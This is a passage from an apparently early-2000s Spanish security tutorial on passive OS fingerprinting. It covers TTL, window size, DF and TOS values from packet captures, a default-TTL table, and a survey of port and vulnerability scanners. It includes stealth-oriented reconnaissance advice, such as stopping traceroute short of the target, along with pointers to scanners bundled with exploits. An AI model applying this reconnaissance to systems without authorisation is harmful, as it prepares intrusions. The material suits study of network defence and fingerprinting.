   Window size: 15928 en decimal (0x3E38)

   Observas aqui, pues, los valores del TOS, DF bit, TTL y WS.

   Inicialmente nos fijaremos en el valor del TTL:

   El valor que podemos ver en  el log del ethereal es 58. Lo mas
probable es que el valor sea 64 pero haya saltado 6 veces hasta llegar
a nosotros, y en este caso se trata de un linux.

   Pero,  los saltos  que hace  hasta  llegar a  nuestro host  lo
podemos comprobar con  la ayuda de traceroute; claro  que sino quieres
que sea reconocido  por el host a estudio  dicho traceroute sera mejor
que  este pare  uno o  dos hops  antes del  host, siendo  esto posible
gracias a poder especificar el time-to-live y asi podremos hacer:

   $ /usr/sbin/traceroute -m 7 183-BARC-X45.libre.retevision.es
   traceroute to 183-BARC-X45.libre.retevision.es (62.82.15.183),
   7 hops max, 38 byte packets
   1  VIGO-X12.red.retevision.es  (62.81.45.44) 135.048 ms 122.210
   ms 129.345 ms
   2  VIGO-R1.red.retevision.es (62.81.45.28) 129.757  ms 119.371
   ms VIGO-R3.red.retevision.es (62.81.45.27) 139.679 ms
   3 VIGO-R15.red.retevision.es (62.81.44.133) 127.784 ms 129.119
   ms 119.800 ms
   4 BARC-R15.red.retevision.es  (62.81.125.2) 159.456 ms 219.433
   ms 214.197 ms
   5  BARC-R11.red.retevision.es (62.81.24.5) 214.997  ms 219.233
   ms 219.758 ms
   6 BARC-X45.red.retevision.es (62.81.17.131) 210.725 ms 219.183
   ms 219.693 ms

   Pero, para  que se  vea que realmente  esto funciona,  en este
caso te  copiare aqui el 7º  host para que  veas que ya seria  el host
remoto:

   7  183-BARC-X45.libre.retevision.es (62.82.15.183)  339.842 ms
   BARC-X45 .red.retevision.es  (62.81.17.131) 199.385 ms 179.089
   ms

   A  continuacion adjunto  una  tabla con  los  TTL de  diversos
sistemas operativos, especificando dicha ttl para tcp y udp:

   Sistema operativo      ttl-tcp     ttl-udp
   linux            64        64
   MacOS/MacTCP 2.0.x      60        60
   OS/2 TCP/IP 3.0         64        64
   OSF/1 V3.2A         60        30
   MS WfW            32        32
   MS Windows 95         32        32
   MS Windows NT 3.51      32        32
   MS Windows NT 4.0      128        128
   Solaris 2.x         255        255
   Sun OS 4.1.3/4.1.4      60        60
   Ultrix V4.1/V4.2A      60        30
   VMS/Multinet         64        64
   VMS/TCPware         60        64
   VMS/Wollongong 1.1.1.1      128        30
   VMS/UCX (ultimas ver.)      128        128
   AIX            60        30
   DEC Pathworks V5      30        30
   FreeBSD 2.1R         64        64
   HP/UX 9.0x         30        30
   HP/UX 10.01         64        64
   Irix 5.3         60        60
   Irix 6.x         60        60   


   Lo  que  hay que  tener  en  cuenta,  es que  existen  ciertas
utilidades que  permiten cambiar este valor  de TTL y  asi por ejemplo:

      - HP/UX cuenta con una utilidad que cambia el valor del TTL
en  los kernels  de  HP/UX llamada  set_ttl  hecha por  el HP  Support
Center.

      - En solaris se puede cambiar haciendo:
      ndd -set /dev/ip ip_def_ttl 'number'
      
      - En linux:
      echo 'number' > /proc/sys/net/ipv4/ip_default_ttl

      - En windows:
      HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Paramete
rs

   Pero   aun  asi,   se   puede  incluir   este   valor  en   el
fingerprinting, para diferenciar algunos OSs de otros.

   El  siguiente valor  a  tener en  cuenta  es el  tamaño de  la
ventana (Window Size):
   
   Como se ha comentado  anteriormente en los analisis basados en
la  pila  TCP/IP tradicionales  ya  no  volvere  a repetir  la
informacion.

   Pero, cabe  destacar que en  la prueba especifica que  se hizo
para  fingerprinting pasivo,  los valores  no cambiaron  y asi vemos:

   Arrival Time: Jan 17, 2001 21:54:37.5323
   Window size: 15928 en decimal

   Arrival Time: Jan 17, 2001 21:54:38.1424
   Window size: 15928

   A continuacion, se analiza el bit DF:

   Es  de valor  unico,  haciento esto  mas  facil el  distinguir
algunos sistemas que  no lo usan, como por ejemplo  SCO o OpenBSD como
se ha especificado en la sección anterior.

   Y  se observa  como en  el  ejemplo especifico  usado para  el
fingerprinting pasivo:

   Flags: 0x04 -> .1.. = Don't fragment: Set

   El ultimo de los campos a estudiar es el TOS:

   De valor  tambien limitado, actualmente no  esta muy estudiado
en funcion de que varia, pero se piensa que depende de la sesion y del
protocolo usado  en la misma. Este  valor de TOS ha  sido utilizado en
uno de los metodos basados en ICMP de fingerprinting tradicional.

       
    2.2 Servicios
    ~~~~~~~~~~~~~

   I Software de escaneo de puertos y vulnerabilidades: panorama actual
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   Lo que quiero con esta  reducida sección es simplemente dar mi
opinion  acerca del software  de escaneo  de puertos  que hay  en este
momento en la scene.
   
   Es preciso destacar, que mientras algunos de los programas que
detallo a  continuacion simplemente son escaneadores  de puertos otros
tambien pueden  servir para  detectar vulnerabilidades en  el sistema,
debidas  a daemons (escuchando  en puertos  abiertos) que  tienen bugs
conocidos.

   Nmap:          lo         puedes          encontrar         en
http://www.insecure.org/nmap/index.html,  se  trata   de  uno  de  los
escaneadores   de    puertos   mas   completos.     Desarrollado   por
Fyodor. Admite tanto un escaneo normal como "silencioso".

   Strobe-classb:       lo        podras       encontrar       en
http://www.luyer.net/software/strobe-classb/  .   Sirve para  escanear
redes grandes en poco tiempo pero no es updateado.

   Vetescan: esta en http://www.self-evident.com/sploits.html. Es
normalmente  una herramienta  de "jaker",  ya  que con  ella se  puede
escanear a  gran velocidad grandes  redes e incluye los  exploits para
las vulnerabilidades que detecta en el propio tar.gz

   Satan:  para  bajarlo  vete a  http://www.porcupine.org/satan/
. Usa  una interface basada  en web y  su modelo de actuacion  ha sido
heredado por  programas como  Nessus, Saint o  SARA.  A lo  mejor para
hacerlo funcionar  en las mas modernas distribuciones  de linux tienes
problemas.

   Nessus: bajatelo de http://www.nessus.org/  . Es muy util. Hay
tanto cliente  como servidor;  hay clientes para  X11, Java  y Windows
pero  servidor unicamente  para  Unix.  Es  muy  facil agregar  nuevos
chequeos para vulnerabilidades que  inicialmente no estaba preparado y
su equipo de desarrolladores suele updatearlo frecuentemente.  Utiliza
el  Nmap para hacer  un analisis  preliminar de  los puertos.  Mas que
recomendable.

   Saint:  lo  puedes  encontrar  en  http://www.wwdsi.com/saint/
. Como ya he comentado se basa  en Satan y como este funciona a traves
de web. Las  nuevas funcionalidades no son agregadas  de una forma muy
rapida pero esto trae consigo un mejor funcionamiento del programa que
destaca por clasificar en niveles el problema encontrado.

   SARA:  se  encuentra  en  http://home.arc.com/sara/index.html.
Hereda su  funcionamiento de Saint  y Satan.  Incluye  una herramienta
para crear informes de las vulnerabilidades, etc.

   NSAT: te lo  puedes bajar de http://mixter.void.ru/progs.html.
Su  creador  es el  mixter,  reconocido  profesional  de la  seguridad
informatica. Al igual  que nessus se le pueden  hacer reglas nuevas de
chequeo para  nuevas vulnerabilidades no  existentes en el  momento de
codear el  programa.  La pega  es que no  se puede utilizar  desde una
maquina remota y solo funciona bajo linux/unix.

   Messala:  bajalo  en  http://www.securityfocus.com/tools/1228.
Este  programa me  ha sorprendido  gratamente ya  que analiza  un gran
numero de vulnerabilidades  conocidas.  Ademas, sus desarrolladores lo
updatean frecuentemente.

   Mns: pillalo en alguna web de seguridad informatica ya que los
enlaces  que van  a la  page de  dicho programa  no  funcionan.  Tiene
capacidad de escanear "silenciosamente" y muestra vulnerabilidades.

   Hay gran  numero de escaneadores de puertos  de nivel bastante
basico, tanto en C como perl que tampoco me voy a poner a analizar por
separado;    siempre    puedes    buscarlos   en    freshmeat.net    o
packetstorm.securify.com.  En algun caso puede ser interesante bajarte
alguno de ellos ya que te sera mas facil analizar el codigo usado para
este tipo de utilidades.

   Por otra  parte, cabe resaltar que  puedes encontrar reducidos
.c que  unicamente comprueban la  existencia de una  vulnerabilidad en
concreto.   Incluso,  te puede  ser  util,  el  hacerte algun  escaner
especifico de cierta vulnerabilidad, en  caso de que esta no haya sido
hecha publica.